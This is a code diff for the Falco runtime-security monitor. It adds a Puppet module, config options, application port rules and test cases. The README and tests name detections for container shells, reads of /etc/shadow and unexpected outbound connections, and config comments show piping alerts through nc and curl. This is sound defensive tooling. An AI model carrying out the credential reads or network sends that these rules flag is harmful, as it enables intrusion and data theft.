+Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
+
+#### What kind of behaviors can Falco detect?
+
+Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+
+- A shell is run inside a container
+- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
+- A server process spawns a child process of an unexpected type
+- Unexpected read of a sensitive file (like `/etc/shadow`)
+- A non-device file is written to `/dev`
+- A standard system binary (like `ls`) makes an outbound network connection
+
+## Module Description
+
+This module configures falco as a systemd service. You configure falco
+to send its notifications to one or more output channels (syslog,
+files, programs).
+
+## Setup
+
+### What falco affects
+
+This module affects the following:
+
+* The main falco configuration file `/etc/falco/falco.yaml`, including
+** Output format (JSON vs plain text)
+** Log level
+** Rule priority level to run
+** Output buffering
+** Output throttling
+** Output channels (syslog, file, program)
+
+### Beginning with falco
+
+To have Puppet install falco with the default parameters, declare the falco class:
+
+``` puppet
+class { 'falco': }
+```
+
+When you declare this class with the default options, the module:
+
+* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
+* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
+* Starts the falco service.
+
+## Usage
+
+### Enabling file output
+
+To enable file output, set the `file_output` hash, as follows:
+
+``` puppet
+class { 'falco':
+  file_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'filename' => '/tmp/falco-events.txt'
+  },
+}
+```
+
+### Enabling program output
+
+To enable program output, set the `program_output` hash and optionally the `json_output` parameters, as follows:
+
+``` puppet
+class { 'falco':
+  json_output => 'true',
+  program_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'program' => 'curl http://some-webhook.com'
+  },
+}
+```
+
+## Reference
+
+* [**Public classes**](#public-classes)
+    * [Class: falco](#class-falco)
+
+### Public Classes
+
+#### Class: `falco`
+
+Guides the basic setup and installation of falco on your system.
+
+When this class is declared with the default options, Puppet:
+
+* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
+* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
+* Starts the falco service.
+
+You can simply declare the default `falco` class:
+
+``` puppet
+class { 'falco': }
+```
+
+###### `rules_file`
+
+An array of files for falco to load. Order matters--the first file listed will be loaded first.
+
+Default: `['/etc/falco/falco_rules.yaml', '/etc/falco/falco_rules.local.yaml']`
+
+##### `json_output`
+
+Whether to output events in json or text.
+
+Default: `false`
+
+##### `log_stderr`
+
+Send falco's logs to stderr. Note: this is not notifications, this is
+logs from the falco daemon itself.
+
+Default: `false`
+
+##### `log_syslog`
+
+Send falco's logs to syslog. Note: this is not notifications, this is
+logs from the falco daemon itself.
+
+Default: `true`
+
+##### `log_level`
+
+Minimum log level to include in logs. Note: these levels are
+separate from the priority field of rules. This refers only to the
+log level of falco's internal logging. Can be one of "emergency",
+"alert", "critical", "error", "warning", "notice", "info", "debug".
+
+Default: `info`
+
+##### `priority`
+
+Minimum rule priority level to load and run. All rules having a
+priority more severe than this level will be loaded/run.  Can be one
+of "emergency", "alert", "critical", "error", "warning", "notice",
+"info", "debug".
+
+Default: `debug`
+
+##### `buffered_outputs`
+
+Whether or not output to any of the output channels below is
+buffered.
+
+Default: `true`
+
+##### `outputs_rate`/`outputs_max_burst`
+
+A throttling mechanism implemented as a token bucket limits the
+rate of falco notifications. This throttling is controlled by the following configuration
+options:
+
+* `outputs_rate`: the number of tokens (i.e. right to send a notification)
+   gained per second. Defaults to 1.
+* `outputs_max_burst`: the maximum number of tokens outstanding. Defaults to 1000.
+
+##### `syslog_output
+
+Controls syslog output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `true`.
+
+Example:
+
+``` puppet
+class { 'falco':
+  syslog_output => {
+    'enabled' => 'true',
+  },
+}
+```
+
+##### `file_output`
+
+Controls file output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `false`.
+* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
+* `filename`: Notifications will be written to this file.
+
+Example:
+
+``` puppet
+class { 'falco':
+  file_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'filename' => '/tmp/falco-events.txt'
+  },
+}
+```
+
+##### `program_output
+
+Controls program output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `false`.
+* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
+* `program`: Notifications will be written to this program.
+
+Example:
+
+``` puppet
+class { 'falco':
+  program_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'program' => 'curl http://some-webhook.com'
+  },
+}
+```
+
+## Limitations
+
+The module works where falco works as a daemonized service (generally, Linux only).
+
+## Development
+
+For more information on Sysdig Falco, visit our [github](https://github.com/draios/falco) or [web site](https://sysdig.com/opensource/falco/).

examples/puppet-module/sysdig-falco/Rakefile

@@ -0,0 +1,18 @@
+require 'rubygems'
+require 'puppetlabs_spec_helper/rake_tasks'
+require 'puppet-lint/tasks/puppet-lint'
+PuppetLint.configuration.send('disable_80chars')
+PuppetLint.configuration.ignore_paths = ["spec/**/*.pp", "pkg/**/*.pp"]
+
+desc "Validate manifests, templates, and ruby files"
+task :validate do
+  Dir['manifests/**/*.pp'].each do |manifest|
+    sh "puppet parser validate --noop #{manifest}"
+  end
+  Dir['spec/**/*.rb','lib/**/*.rb'].each do |ruby_file|
+    sh "ruby -c #{ruby_file}" unless ruby_file =~ /spec\/fixtures/
+  end
+  Dir['templates/**/*.erb'].each do |template|
+    sh "erb -P -x -T '-' #{template} | ruby -c"
+  end
+end

examples/puppet-module/sysdig-falco/manifests/config.pp

@@ -0,0 +1,13 @@
+# == Class: falco::config
+class falco::config inherits falco {
+
+  file { '/etc/falco/falco.yaml':
+    notify  => Service['falco'],
+    ensure  => file,
+    owner   => 'root',
+    group   => 'root',
+    mode    => '0644',
+    content => template('falco/falco.yaml.erb'),
+  }
+
+}

examples/puppet-module/sysdig-falco/manifests/init.pp

@@ -0,0 +1,31 @@
+class falco (
+          $rules_file = [
+              '/etc/falco/falco_rules.yaml',
+              '/etc/falco/falco_rules.local.yaml'
+          ],
+          $json_output = 'false',
+          $log_stderr = 'false',
+          $log_syslog = 'true',
+          $log_level = 'info',
+          $priority = 'debug',
+          $buffered_outputs = 'true',
+          $outputs_rate = 1,
+          $outputs_max_burst = 1000,
+          $syslog_output = {
+              'enabled' => 'true'
+          },
+          $file_output = {
+              'enabled' => 'false',
+              'keep_alive' => 'false',
+              'filename' => '/tmp/falco_events.txt'
+          },
+          $program_output = {
+              'enabled' => 'false',
+              'keep_alive' => 'false',
+              'program' => 'curl http://some-webhook.com'
+          },
+      ) {
+  include falco::install
+  include falco::config
+  include falco::service
+}

examples/puppet-module/sysdig-falco/manifests/install.pp

@@ -0,0 +1,6 @@
+# == Class: falco::install
+class falco::install inherits falco {
+  package { 'falco':
+      ensure => installed,
+  }
+}

examples/puppet-module/sysdig-falco/manifests/service.pp

@@ -0,0 +1,11 @@
+# == Class: falco::service
+class falco::service inherits falco {
+
+  service { 'falco':
+    ensure     => running,
+    enable     => true,
+    hasstatus  => true,
+    hasrestart => true,
+    require => Package['falco'],
+  }
+}

examples/puppet-module/sysdig-falco/metadata.json

@@ -0,0 +1,14 @@
+{
+  "name": "sysdig-falco",
+  "version": "0.1.0",
+  "author": "sysdig",
+  "summary": "Sysdig Falco: Behavioral Activity Monitoring With Container Support",
+  "license": "GPLv2",
+  "source": "https://github.com/draios/falco",
+  "project_page": "https://github.com/draios/falco",
+  "issues_url": "https://github.com/draios/falco/issues",
+  "dependencies": [
+    {"name":"puppetlabs-stdlib","version_requirement":">= 1.0.0"}
+  ]
+}
+

examples/puppet-module/sysdig-falco/spec/classes/init_spec.rb

@@ -0,0 +1,7 @@
+require 'spec_helper'
+describe 'falco' do
+
+  context 'with defaults for all parameters' do
+    it { should contain_class('falco') }
+  end
+end

examples/puppet-module/sysdig-falco/spec/spec_helper.rb

@@ -0,0 +1 @@
+require 'puppetlabs_spec_helper/module_spec_helper'

examples/puppet-module/sysdig-falco/templates/falco.yaml.erb

@@ -0,0 +1,96 @@
+####
+# THIS FILE MANAGED BY PUPPET. DO NOT MODIFY
+####
+
+# File(s) containing Falco rules, loaded at startup.
+#
+# falco_rules.yaml ships with the falco package and is overridden with
+# every new software version. falco_rules.local.yaml is only created
+# if it doesn't exist. If you want to customize the set of rules, add
+# your customizations to falco_rules.local.yaml.
+#
+# The files will be read in the order presented here, so make sure if
+# you have overrides they appear in later files.
+rules_file:
+<% Array(@rules_file).each do |file| -%>
+ - <%= file %>
+<% end -%>
+
+# Whether to output events in json or text
+json_output: <%= @json_output %>
+
+# Send information logs to stderr and/or syslog Note these are *not* security
+# notification logs! These are just Falco lifecycle (and possibly error) logs.
+log_stderr: <%= @log_stderr %>
+log_syslog: <%= @log_syslog %>
+
+# Minimum log level to include in logs. Note: these levels are
+# separate from the priority field of rules. This refers only to the
+# log level of falco's internal logging. Can be one of "emergency",
+# "alert", "critical", "error", "warning", "notice", "info", "debug".
+log_level: <%= @log_level %>
+
+# Minimum rule priority level to load and run. All rules having a
+# priority more severe than this level will be loaded/run.  Can be one
+# of "emergency", "alert", "critical", "error", "warning", "notice",
+# "info", "debug".
+priority: <%= @priority %>
+
+# Whether or not output to any of the output channels below is
+# buffered. Defaults to true
+buffered_outputs: <%= @buffered_outputs %>
+
+# A throttling mechanism implemented as a token bucket limits the
+# rate of falco notifications. This throttling is controlled by the following configuration
+# options:
+#  - rate: the number of tokens (i.e. right to send a notification)
+#    gained per second. Defaults to 1.
+#  - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
+#
+# With these defaults, falco could send up to 1000 notifications after
+# an initial quiet period, and then up to 1 notification per second
+# afterward. It would gain the full burst back after 1000 seconds of
+# no activity.
+
+outputs:
+  rate: <%= @outputs_rate %>
+  max_burst: <%= @outputs_max_burst %>
+
+# Where security notifications should go.
+# Multiple outputs can be enabled.
+<% unless @syslog_output.nil? -%>
+syslog_output:
+  enabled: <%= @syslog_output['enabled'] %>
+<% end -%>
+
+# If keep_alive is set to true, the file will be opened once and
+# continuously written to, with each output message on its own
+# line. If keep_alive is set to false, the file will be re-opened
+# for each output message.
+<% unless @file_output.nil? -%>
+file_output:
+  enabled: <%= @file_output['enabled'] %>
+  keep_alive: <%= @file_output['keep_alive'] %>
+  filename: <%= @file_output['filename'] %>
+<% end -%>
+
+# Possible additional things you might want to do with program output:
+#   - send to a slack webhook:
+#         program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
+#   - logging (alternate method than syslog):
+#         program: logger -t falco-test
+#   - send over a network connection:
+#         program: nc host.example.com 80
+
+# If keep_alive is set to true, the program will be started once and
+# continuously written to, with each output message on its own
+# line. If keep_alive is set to false, the program will be re-spawned
+# for each output message.
+
+<% unless @program_output.nil? -%>
+program_output:
+  enabled: <%= @program_output['enabled'] %>
+  keep_alive: <%= @program_output['keep_alive'] %>
+  program: <%= @program_output['program'] %>
+<% end -%>
+

examples/puppet-module/sysdig-falco/tests/init.pp

@@ -0,0 +1,12 @@
+# The baseline for module testing used by Puppet Labs is that each manifest
+# should have a corresponding test manifest that declares that class or defined
+# type.
+#
+# Tests are then run by using puppet apply --noop (to check for compilation
+# errors and view a log of events) or by fully applying the test in a virtual
+# environment (to compare the resulting system state to the desired state).
+#
+# Learn more about module testing here:
+# http://docs.puppetlabs.com/guides/tests_smoke.html
+#
+include falco

falco.yaml

@@ -1,9 +1,28 @@
-# File containing Falco rules, loaded at startup.
-rules_file: /etc/falco_rules.yaml
+# File(s) or Directories containing Falco rules, loaded at startup.
+# The name "rules_file" is only for backwards compatibility.
+# If the entry is a file, it will be read directly. If the entry is a directory,
+# every file in that directory will be read, in alphabetical order.
+#
+# falco_rules.yaml ships with the falco package and is overridden with
+# every new software version. falco_rules.local.yaml is only created
+# if it doesn't exist. If you want to customize the set of rules, add
+# your customizations to falco_rules.local.yaml.
+#
+# The files will be read in the order presented here, so make sure if
+# you have overrides they appear in later files.
+rules_file:
+ - /etc/falco/falco_rules.yaml
+ - /etc/falco/falco_rules.local.yaml
+ - /etc/falco/rules.d
 
 # Whether to output events in json or text
 json_output: false
 
+# When using json output, whether or not to include the "output" property
+# itself (e.g. "File below a known binary directory opened for writing
+# (user=root ....") in the json output.
+json_include_output_property: true
+
 # Send information logs to stderr and/or syslog Note these are *not* security
 # notification logs! These are just Falco lifecycle (and possibly error) logs.
 log_stderr: true
@@ -15,6 +34,16 @@ log_syslog: true
 # "alert", "critical", "error", "warning", "notice", "info", "debug".
 log_level: info
 
+# Minimum rule priority level to load and run. All rules having a
+# priority more severe than this level will be loaded/run.  Can be one
+# of "emergency", "alert", "critical", "error", "warning", "notice",
+# "info", "debug".
+priority: debug
+
+# Whether or not output to any of the output channels below is
+# buffered. Defaults to true
+buffered_outputs: true
+
 # A throttling mechanism implemented as a token bucket limits the
 # rate of falco notifications. This throttling is controlled by the following configuration
 # options:
@@ -37,8 +66,17 @@ outputs:
 syslog_output:
   enabled: true
 
+# If keep_alive is set to true, the file will be opened once and
+# continuously written to, with each output message on its own
+# line. If keep_alive is set to false, the file will be re-opened
+# for each output message.
+#
+# Also, the file will be closed and reopened if falco is signaled with
+# SIGUSR1.
+
 file_output:
   enabled: false
+  keep_alive: false
   filename: ./events.txt
 
 stdout_output:
@@ -49,7 +87,17 @@ stdout_output:
 #         program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
 #   - logging (alternate method than syslog):
 #         program: logger -t falco-test
+#   - send over a network connection:
+#         program: nc host.example.com 80
 
+# If keep_alive is set to true, the program will be started once and
+# continuously written to, with each output message on its own
+# line. If keep_alive is set to false, the program will be re-spawned
+# for each output message.
+#
+# Also, the program will be closed and reopened if falco is signaled with
+# SIGUSR1.
 program_output:
   enabled: false
+  keep_alive: false
   program: mail -s "Falco Notification" someone@example.com

rules/CMakeLists.txt

@@ -1,9 +1,11 @@
 if(NOT DEFINED FALCO_ETC_DIR)
-  set(FALCO_ETC_DIR "/etc")
+  set(FALCO_ETC_DIR "/etc/falco")
 endif()
 
 if(NOT DEFINED FALCO_RULES_DEST_FILENAME)
   set(FALCO_RULES_DEST_FILENAME "falco_rules.yaml")
+  set(FALCO_LOCAL_RULES_DEST_FILENAME "falco_rules.local.yaml")
+  set(FALCO_APP_RULES_DEST_FILENAME "application_rules.yaml")
 endif()
 
 if(DEFINED FALCO_COMPONENT)
@@ -11,9 +13,27 @@ install(FILES falco_rules.yaml
         COMPONENT "${FALCO_COMPONENT}"
 	DESTINATION "${FALCO_ETC_DIR}"
 	RENAME "${FALCO_RULES_DEST_FILENAME}")
+
+install(FILES falco_rules.local.yaml
+        COMPONENT "${FALCO_COMPONENT}"
+	DESTINATION "${FALCO_ETC_DIR}"
+	RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}")
+
+# Intentionally *not* installing application_rules.yaml. Not needed
+# when falco is embedded in other projects.
 else()
 install(FILES falco_rules.yaml
-        DESTINATION "${FALCO_ETC_DIR}"
-        RENAME "${FALCO_RULES_DEST_FILENAME}")
+	DESTINATION "${FALCO_ETC_DIR}"
+	RENAME "${FALCO_RULES_DEST_FILENAME}")
+
+install(FILES falco_rules.local.yaml
+	DESTINATION "${FALCO_ETC_DIR}"
+	RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}")
+
+install(FILES application_rules.yaml
+	DESTINATION "/etc/falco/rules.available"
+	RENAME "${FALCO_APP_RULES_DEST_FILENAME}")
+
+install(DIRECTORY DESTINATION "/etc/falco/rules.d")
 endif()
 

rules/application_rules.yaml

@@ -0,0 +1,169 @@
+################################################################
+# By default all application-related rules are disabled for
+# performance reasons. Depending on the application(s) you use,
+# uncomment the corresponding rule definitions for
+# application-specific activity monitoring.
+################################################################
+
+# Elasticsearch ports
+- macro: elasticsearch_cluster_port
+  condition: fd.sport=9300
+- macro: elasticsearch_api_port
+  condition: fd.sport=9200
+- macro: elasticsearch_port
+  condition: elasticsearch_cluster_port or elasticsearch_api_port
+
+# - rule: Elasticsearch unexpected network inbound traffic
+#   desc: inbound network traffic to elasticsearch on a port other than the standard ports
+#   condition: user.name = elasticsearch and inbound and not elasticsearch_port
+#   output: "Inbound network traffic to Elasticsearch on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: Elasticsearch unexpected network outbound traffic
+#   desc: outbound network traffic from elasticsearch on a port other than the standard ports
+#   condition: user.name = elasticsearch and outbound and not elasticsearch_cluster_port
+#   output: "Outbound network traffic from Elasticsearch on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+
+# ActiveMQ ports
+- macro: activemq_cluster_port
+  condition: fd.sport=61616
+- macro: activemq_web_port
+  condition: fd.sport=8161
+- macro: activemq_port
+  condition: activemq_web_port or activemq_cluster_port
+
+# - rule: Activemq unexpected network inbound traffic
+#   desc: inbound network traffic to activemq on a port other than the standard ports
+#   condition: user.name = activemq and inbound and not activemq_port
+#   output: "Inbound network traffic to ActiveMQ on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: Activemq unexpected network outbound traffic
+#   desc: outbound network traffic from activemq on a port other than the standard ports
+#   condition: user.name = activemq and outbound and not activemq_cluster_port
+#   output: "Outbound network traffic from ActiveMQ on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+
+# Cassandra ports
+# https://docs.datastax.com/en/cassandra/2.0/cassandra/security/secureFireWall_r.html
+- macro: cassandra_thrift_client_port
+  condition: fd.sport=9160
+- macro: cassandra_cql_port
+  condition: fd.sport=9042
+- macro: cassandra_cluster_port
+  condition: fd.sport=7000
+- macro: cassandra_ssl_cluster_port
+  condition: fd.sport=7001
+- macro: cassandra_jmx_port
+  condition: fd.sport=7199
+- macro: cassandra_port
+  condition: >
+    cassandra_thrift_client_port or
+    cassandra_cql_port or cassandra_cluster_port or
+    cassandra_ssl_cluster_port or cassandra_jmx_port
+
+# - rule: Cassandra unexpected network inbound traffic
+#   desc: inbound network traffic to cassandra on a port other than the standard ports
+#   condition: user.name = cassandra and inbound and not cassandra_port
+#   output: "Inbound network traffic to Cassandra on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: Cassandra unexpected network outbound traffic
+#   desc: outbound network traffic from cassandra on a port other than the standard ports
+#   condition: user.name = cassandra and outbound and not (cassandra_ssl_cluster_port or cassandra_cluster_port)
+#   output: "Outbound network traffic from Cassandra on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# Couchdb ports
+# https://github.com/davisp/couchdb/blob/master/etc/couchdb/local.ini
+- macro: couchdb_httpd_port
+  condition: fd.sport=5984
+- macro: couchdb_httpd_ssl_port
+  condition: fd.sport=6984
+# xxx can't tell what clustering ports are used. not writing rules for this
+# yet.
+
+# Fluentd ports
+- macro: fluentd_http_port
+  condition: fd.sport=9880
+- macro: fluentd_forward_port
+  condition: fd.sport=24224
+
+# - rule: Fluentd unexpected network inbound traffic
+#   desc: inbound network traffic to fluentd on a port other than the standard ports
+#   condition: user.name = td-agent and inbound and not (fluentd_forward_port or fluentd_http_port)
+#   output: "Inbound network traffic to Fluentd on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: Tdagent unexpected network outbound traffic
+#   desc: outbound network traffic from fluentd on a port other than the standard ports
+#   condition: user.name = td-agent and outbound and not fluentd_forward_port
+#   output: "Outbound network traffic from Fluentd on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# Gearman ports
+# http://gearman.org/protocol/
+# - rule: Gearman unexpected network outbound traffic
+#   desc: outbound network traffic from gearman on a port other than the standard ports
+#   condition: user.name = gearman and outbound and outbound and not fd.sport = 4730
+#   output: "Outbound network traffic from Gearman on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# Zookeeper
+- macro: zookeeper_port
+  condition: fd.sport = 2181
+
+# Kafka ports
+# - rule: Kafka unexpected network inbound traffic
+#   desc: inbound network traffic to kafka on a port other than the standard ports
+#   condition: user.name = kafka and inbound and fd.sport != 9092
+#   output: "Inbound network traffic to Kafka on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# Memcached ports
+# - rule: Memcached unexpected network inbound traffic
+#   desc: inbound network traffic to memcached on a port other than the standard ports
+#   condition: user.name = memcached and inbound and fd.sport != 11211
+#   output: "Inbound network traffic to Memcached on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: Memcached unexpected network outbound traffic
+#   desc: any outbound network traffic from memcached. memcached never initiates outbound connections.
+#   condition: user.name = memcached and outbound
+#   output: "Unexpected Memcached outbound connection (connection=%fd.name)"
+#   priority: WARNING
+
+
+# MongoDB ports
+- macro: mongodb_server_port
+  condition: fd.sport = 27017
+- macro: mongodb_shardserver_port
+  condition: fd.sport = 27018
+- macro: mongodb_configserver_port
+  condition: fd.sport = 27019
+- macro: mongodb_webserver_port
+  condition: fd.sport = 28017
+
+# - rule: Mongodb unexpected network inbound traffic
+#   desc: inbound network traffic to mongodb on a port other than the standard ports
+#   condition: >
+#     user.name = mongodb and inbound and not (mongodb_server_port or
+#     mongodb_shardserver_port or mongodb_configserver_port or mongodb_webserver_port)
+#   output: "Inbound network traffic to MongoDB on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# MySQL ports
+# - rule: Mysql unexpected network inbound traffic
+#   desc: inbound network traffic to mysql on a port other than the standard ports
+#   condition: user.name = mysql and inbound and fd.sport != 3306
+#   output: "Inbound network traffic to MySQL on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: HTTP server unexpected network inbound traffic
+#   desc: inbound network traffic to a http server program on a port other than the standard ports
+#   condition: proc.name in (http_server_binaries) and inbound and fd.sport != 80 and fd.sport != 443
+#   output: "Inbound network traffic to HTTP Server on unexpected port (connection=%fd.name)"
+#   priority: WARNING

rules/falco_rules.local.yaml

@@ -0,0 +1,13 @@
+####################
+# Your custom rules!
+####################
+
+# Add new rules, like this one
+# - rule: The program "sudo" is run in a container
+#   desc: An event will trigger every time you run sudo in a container
+#   condition: evt.type = execve and evt.dir=< and container.id != host and proc.name = sudo
+#   output: "Sudo run in container (user=%user.name %container.info parent=%proc.pname cmdline=%proc.cmdline)"
+#   priority: ERROR
+#   tags: [users, container]
+
+# Or override/append to any rule, macro, or list from the Default Rules

test/falco_test.py

@@ -30,6 +30,9 @@ class FalcoTest(Test):
             self.trace_file = os.path.join(self.basedir, self.trace_file)
 
         self.json_output = self.params.get('json_output', '*', default=False)
+        self.json_include_output_property = self.params.get('json_include_output_property', '*', default=True)
+        self.all_events = self.params.get('all_events', '*', default=False)
+        self.priority = self.params.get('priority', '*', default='debug')
         self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
 
         if not isinstance(self.rules_file, list):
@@ -211,7 +214,7 @@ class FalcoTest(Test):
         triggered_rules = match.group(1)
 
         for rule, count in self.detect_counts.iteritems():
-            expected = '{}: (\d+)'.format(rule)
+            expected = '\s{}: (\d+)'.format(rule)
             match = re.search(expected, triggered_rules)
 
             if match is None:
@@ -248,7 +251,11 @@ class FalcoTest(Test):
             for line in res.stdout.splitlines():
                 if line.startswith('{'):
                     obj = json.loads(line)
-                    for attr in ['time', 'rule', 'priority', 'output']:
+                    if self.json_include_output_property:
+                        attrs = ['time', 'rule', 'priority', 'output']
+                    else:
+                        attrs = ['time', 'rule', 'priority']
+                    for attr in attrs:
                         if not attr in obj:
                             self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
 
@@ -295,7 +302,7 @@ class FalcoTest(Test):
             res = process.run("docker rm falco-test")
 
         elif self.package.endswith(".deb"):
-            cmdline = "dpkg -r falco"
+            cmdline = "dpkg --purge falco"
             self.log.debug("Uninstalling debian package via \"{}\"".format(cmdline))
             res = process.run(cmdline, timeout=120, sudo=True)
 
@@ -347,8 +354,8 @@ class FalcoTest(Test):
             trace_arg = "-e {}".format(self.trace_file)
 
         # Run falco
-        cmd = '{} {} {} -c {} {} -o json_output={} -v'.format(
-            self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output)
+        cmd = '{} {} {} -c {} {} -o json_output={} -o json_include_output_property={} -o priority={} -v'.format(
+            self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.json_include_output_property, self.priority)
 
         for tag in self.disable_tags:
             cmd += ' -T {}'.format(tag)
@@ -359,6 +366,9 @@ class FalcoTest(Test):
         if self.run_duration:
             cmd += ' -M {}'.format(self.run_duration)
 
+        if self.all_events:
+            cmd += ' -A'
+
         self.falco_proc = process.SubProcess(cmd)
 
         res = self.falco_proc.run(timeout=180, sig=9)

test/falco_tests.yaml

@@ -128,6 +128,34 @@ trace_files: !mux
       - rules/single_rule.yaml
       - rules/double_rule.yaml
     trace_file: trace_files/cat_write.scap
+    all_events: True
+
+  rules_directory:
+    detect: True
+    detect_level:
+      - WARNING
+      - INFO
+      - ERROR
+    rules_file:
+      - rules/rules_dir
+    trace_file: trace_files/cat_write.scap
+    all_events: True
+
+  multiple_rules_suppress_info:
+    detect: True
+    detect_level:
+      - WARNING
+      - ERROR
+    priority: WARNING
+    detect_counts:
+      - open_from_cat: 8
+      - exec_from_cat: 1
+      - access_from_cat: 0
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/double_rule.yaml
+    trace_file: trace_files/cat_write.scap
+    all_events: True
 
   multiple_rules_overriding:
     detect: False
@@ -304,7 +332,7 @@ trace_files: !mux
     detect_counts:
       - "Write below binary dir": 1
       - "Read sensitive file untrusted": 3
-      - "Run shell in container": 1
+      - "Run shell untrusted": 1
       - "Write below rpm database": 1
       - "Write below etc": 1
       - "System procs network activity": 1
@@ -579,3 +607,136 @@ trace_files: !mux
       - open_11: 1
       - open_12: 0
       - open_13: 0
+
+  list_append_failure:
+    exit_status: 1
+    stderr_contains: "List my_list has 'append' key but no list by that name already exists. Exiting"
+    rules_file:
+      - rules/list_append_failure.yaml
+    trace_file: trace_files/cat_write.scap
+
+  list_append:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/list_append.yaml
+    trace_file: trace_files/cat_write.scap
+
+  list_append_false:
+    detect: False
+    rules_file:
+      - rules/list_append_false.yaml
+    trace_file: trace_files/cat_write.scap
+
+  macro_append_failure:
+    exit_status: 1
+    stderr_contains: "Macro my_macro has 'append' key but no macro by that name already exists. Exiting"
+    rules_file:
+      - rules/macro_append_failure.yaml
+    trace_file: trace_files/cat_write.scap
+
+  macro_append:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/macro_append.yaml
+    trace_file: trace_files/cat_write.scap
+
+  macro_append_false:
+    detect: False
+    rules_file:
+      - rules/macro_append_false.yaml
+    trace_file: trace_files/cat_write.scap
+
+  rule_append_failure:
+    exit_status: 1
+    stderr_contains: "Rule my_rule has 'append' key but no rule by that name already exists. Exiting"
+    rules_file:
+      - rules/rule_append_failure.yaml
+    trace_file: trace_files/cat_write.scap
+
+  rule_append_skipped:
+    detect: False
+    priority: ERROR
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/append_single_rule.yaml
+    trace_file: trace_files/cat_write.scap
+
+  rule_append:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/rule_append.yaml
+    trace_file: trace_files/cat_write.scap
+
+  rule_append_false:
+    detect: False
+    rules_file:
+      - rules/rule_append_false.yaml
+    trace_file: trace_files/cat_write.scap
+
+  json_output_no_output_property:
+    json_output: True
+    json_include_output_property: False
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/rule_append.yaml
+    trace_file: trace_files/cat_write.scap
+    stdout_contains: "^(?!.*Warning An open of /dev/null was seen.*)"
+
+  in_operator_netmasks:
+    detect: True
+    detect_level: INFO
+    rules_file:
+      - rules/detect_connect_using_in.yaml
+    trace_file: trace_files/connect_localhost.scap
+
+  syscalls:
+    detect: True
+    detect_level: INFO
+    rules_file:
+      - rules/syscalls.yaml
+    detect_counts:
+      - detect_madvise: 2
+      - detect_open: 2
+    trace_file: trace_files/syscall.scap
+    all_events: True
+
+  catchall_order:
+    detect: True
+    detect_level: INFO
+    rules_file:
+      - rules/catchall_order.yaml
+    detect_counts:
+      - open_dev_null: 1
+        dev_null: 0
+    trace_file: trace_files/cat_write.scap
+
+  skip_unknown_noevt:
+    detect: False
+    stdout_contains: Skipping rule "Contains Unknown Event And Skipping" that contains unknown filter proc.nobody
+    rules_file:
+      - rules/skip_unknown_evt.yaml
+    trace_file: trace_files/cat_write.scap
+
+  skip_unknown_prefix:
+    detect: False
+    rules_file:
+      - rules/skip_unknown_prefix.yaml
+    trace_file: trace_files/cat_write.scap
+
+  skip_unknown_error:
+    exit_status: 1
+    stderr_contains: Rule "Contains Unknown Event And Not Skipping" contains unknown filter proc.nobody. Exiting.
+    rules_file:
+      - rules/skip_unknown_error.yaml
+    trace_file: trace_files/cat_write.scap
+
+  skip_unknown_unspec_error:
+    exit_status: 1
+    stderr_contains: Rule "Contains Unknown Event And Unspecified" contains unknown filter proc.nobody. Exiting.
+    rules_file:
+      - rules/skip_unknown_unspec.yaml
+    trace_file: trace_files/cat_write.scap

test/falco_traces.yaml.in

@@ -43,11 +43,11 @@ traces: !mux
   falco-event-generator:
     trace_file: traces-positive/falco-event-generator.scap
     detect: True
